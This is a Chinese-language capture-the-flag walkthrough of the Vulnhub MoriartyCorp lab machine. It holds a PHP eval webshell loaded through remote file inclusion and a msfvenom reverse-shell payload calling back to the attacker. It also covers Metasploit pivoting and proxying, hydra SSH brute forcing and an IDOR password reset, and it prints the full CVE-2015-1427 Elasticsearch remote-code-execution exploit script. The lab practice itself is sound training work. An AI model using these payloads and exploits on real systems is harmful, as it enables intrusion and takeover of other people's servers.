Vulnhub靶机-MoriartyCorp
靶机:MoriartyCorp
靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶机公网IP:192.168.3.65(该靶机用docker搭建了内网)
kali机IP:192.168.3.62
真机IP:192.168.3.44
虚拟机环境搭建:通过VirtualBox导入虚拟机,网络连接方式选择桥接模式,导入虚拟机的时候注意不要勾选USB控制器,否则可能会出一些小问题
一、信息收集
1. 探测靶机目标
nmap -sn 192.168.3.0/24
找到攻击目标公网IP为192.168.3.65
2. 端口扫描
nmap -p- -A 192.168.3.65
扫描到有ssh服务(23端口)、http服务(注意不是80端口,而是8000端口和9000端口)
ssh服务不知道密码,暂时先不管,先看看http服务用浏览器访问是一些什么东西
http://192.168.3.65:9000
感觉像是一个后台登陆界面,应该是登陆到内网服务器的,但是尝试万能密码,使用弱口令进行暴力破解发现并不能成功,只能暂时先放下
http://192.168.3.65:8000
发现有一些提示信息,让我们先输入flag{start},那就跟着提示走
输入提示信息提交后,提示我们访问80端口
访问80端口,点击Blog post1和Blog post2,从内容中没有得到什么有用信息,但是看到路径为../file=page1.html和../file=page2.html后,疑似存在文件包含漏洞
包含一下www.baidu.com,发现存在远程的文件包含漏洞
http://192.168.3.65/?file=http://www.baidu.com
二、文件包含漏洞的利用
1. 在真机上使用python搭建一个简易服务器
在桌面上新建一个文件夹,用来存放服务器的根目录,取了个名字叫做http
打开文件夹,直接在文件路径处输入cmd进入终端,输入以下命令
python -m http.server
# 默认开启的是8000端口,如果要指定其他端口直接在后面输入对应的端口号,如python -m http.server 80
2. 制作一句话木马并将其放在刚才搭建好的服务器根目录下
<?php @eval($_REQUEST['A']); ?>
3. 尝试通过远程文件包含漏洞包含一下自己搭建好的建议服务器并包含到木马文件里去
成功包含木马文件,能成功访问到phpinfo文件信息
4. 蚁剑连接获取shell
http://192.168.3.65/?file=http://192.168.3.44:8000/shell.txt
连接成功后返回到上一层目录,找到第一个flag
提交flag得到下一步提示,要求扫描内网开放的80端口,这里还提示内网地址在172.17.0.3~254范围内,看来下一步要进行渗透内网了
三、内网渗透
1. 制作反弹shell木马文件
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=8084 -f elf > shell.elf
2. 将文件上传到靶机上,使用刚才使用的蚁剑上传
3. 攻击机开启监听
msfconsole #启动msf
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.3.62 #注意IP和反弹木马文件一致
set LPORT 8084 #注意端口和反弹木马文件一致
run #等待反弹结果
4. 修改权限,执行文件
chmod 777 shell.elf
./shell.elf
在连接的蚁剑上打开终端,发现上传的shell.elf文件没有执行权限,需要手动开启,然后执行文件,回到kali等待反弹结果
反弹成功
查看一下内网IP,发现本机IP地址为172.17.0.3,这应该是其它内网服务器的网关地址
5. 创建路由
添加一条通往目标服务器内网的路由,让目标路由分配给kali一个内网IP,这样msf就可以直接访问目标内网中其他设备
run autoroute -s 172.17.0.0/24 #创建跳板路由
6. 扫描内网主机80端口,172.17.0.4应该是内网中的主机
use auxiliart/scanner/portscan/tcp #使用tcp端口扫描辅助模块
set rhosts 172.17.0.0/24 #设置扫描的内网网段
set ports 80 #设置扫描的端口
run #开始扫描
7. 设置转发端口
sessions -i 1 #返回shell会话
portfwd add -L 192.168.3.62 -l 2424 -p 80 -r 172.17.0.4 #将内网主机的80端口转发到kali机2424端口
访问内网主机80端口(可以看到内网IP已经映射到了本地),在这个页面可以看到可以上传文件,但是需要密码才能上传
http://192.168.3.62:2424
8. 暴力破解密码
上传一句话木马,然后使用burpsuite抓包
对密码进行爆破,只有密码为password时长度不一样,看来上传文件密码就应该是password
找到正确密码后就能成功上传
注意上传的文件存放路径,点击一下上传的木马文件就能看到上传路径了
尝试访问一下phpinfo文件信息,看看上传的木马是不是真的可以利用,发现可以利用,那就用蚁剑连一下吧
http://192.168.3.62:2424/photo/22/muma.php?cmd=phpinfo();
9. 蚁剑连接,获取内网主机shell
连接成功后返回到上层目录,成功找到第二个flag
提交flag,得到一串用户名和密码hash值,对密码解密,提示用用户名和密码hash去攻击ssh服务
通过md5解密,解密结果如下
63a9f0ea7bb98050796b649e85481845 root
7b24afc8bc80e548d66c4e7ff72171c5 toor
5f4dcc3b5aa765d61d8327deb882cf99 password
21232f297a57a5a743894a0e4a801fc3 admin
084e0343a0486ff05530df6c705c8bb4 guest
697c6cc76fdbde5baccb7b3400391e30 MORIARTY
8839cfc8a0f24eb155ae3f7f205f5cbc MCORP
35ac704fe1cc7807c914af478f20fd35 mcorp
b27a803ed346fbbf6d2e2eb88df1c51b weapons
08552d48aa6d6d9c05dd67f1b4ba8747 moriarty
还有另一种获取内网的方法使用socks5代理+proxychains工具探测(前面7步一样)
1. msf中设置socks代理
background #如果此时在会话监听模式,使用background可以把监听端口保存在后台运行,如果要使用shell时再通过session -i [会话编号] 的方式进行切换
use auxiliary/server/socks_proxy #开启socks5代理,msf6是socks_proxy,如果是msf5可能是socks4a
run #启动socks代理
2. 在proxychains配置信息中添加socks5代理配置
vim /etc/proxychains.conf
可以看到同样可以找到内网主机,然后使用抓包,上传木马,使用蚁剑连接
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
# -sV 版本探测
# -sT 3次握手方式tcp扫描
# -Pn 扫描之前不需要用ping命令,有些防火墙禁用ping命令,可以使用此选项进行扫描
# -T 设置扫描线程,范围在T1~6
# -p 设置扫描端口
10. 通过proxychains扫描ssh服务端口
根据flag2提示需要去攻击SSH服务,一般为22端口,找到启用SSH服务的内网主机,可以看到主机172.17.0.5是启用了SSH服务的
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p22
11. 爆破ssh用户名密码
先创建两个字典文本文件,使用第9步得到的用户名和密码作为字典
使用hydra工具通过字典爆破,可以看到成功爆出ssh登陆用户名为root,用户密码为weapons
proxychains hydra -L user.txt -p pass.txt ssh://172.17.0.5 -t 4
# -L 指定用户名字典
# -p 指定密码字典
# -t 设置线程
找到正确用户名和密码就可以登录ssh了,登录后在根目录下找到第三个flag
提交flag后得到新的提示,有个用户名为buyer13,密码为arms13,此外还提示有个http服务可能不在80端口上,可能在443、8000、8080、8888这些端口,那就扫描这些端口看看
成功找到这台http服务器的IP地址及端口号为:172.17.0.6:8000
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080,8888
浏览器访问一下这个提供http服务的内网主机,不过访问之前需要设置浏览器的socks代理,将socks代理设置成socks5
访问172.17.0.6:8000,输入提示的用户名密码成功登陆,发现有个改密码的地方Change Password,点进去发现是修改密码的地方,猜测可能存在越权漏洞,因为如果能越权修改管理员密码,那就直接可以拿到最高权限了
12. 越权漏洞利用
使用burpsuite抓取修改密码的数据包,不过在抓包之前不仅要在浏览器里开启代理和socks代理,burpsuite里同样要开启
抓包,将用户名和密码都修改为admin,然后再放包
退出后重新访问,再次抓包删除旧的认证信息,放包,重新登录,这次就用用户名为admin密码也为admin进行登录,发现能成功登陆,看来修改密码处的确存在越权漏洞啊
点击charts后就能看到第四个flag,提交flag
提交后发现还有提示信息,提示有一台主机运行着Elasticsearch服务,百度查找一下,发现该服务默认是在9200端口,那就继续扫描内网主机
找到这台Elasticsearch服务器的IP和端口为172.17.0.7:9200
使用kali自带的searchsploit功能进行版本漏洞搜索,有个远程代码执行攻击可以利用
searchsploit elasticsearch
使用36337.py脚本执行远程代码攻击,能拿到shell,找到最后一个flag并提交就完成了
cd /usr/share/exploitdb/exploits/linux/remote
proxychains python 36337.py 172.17.0.7
若找不到那就用下面这个攻击脚本
36337.py
点我看代码
#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"
def banner():
print """\x1b[1;32m
▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: %s\x1b[0m""" %(__version__)
def execute_command(target, command):
payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
try:
url = "http://%s:9200/_search?pretty" %(target)
r = requests.post(url=url, data=payload)
except Exception, e:
sys.exit("Exception Hit"+str(e))
values = json.loads(r.text)
fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
print fuckingjson.strip()
def exploit(target):
print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
while True:
cmd = raw_input("~$ ")
if cmd == "exit":
sys.exit("{!} Shell exiting!")
else:
execute_command(target=target, command=cmd)
def main(args):
banner()
if len(args) != 2:
sys.exit("Use: %s target" %(args[0]))
exploit(target=args[1])
if __name__ == "__main__":
main(args=sys.argv)
结束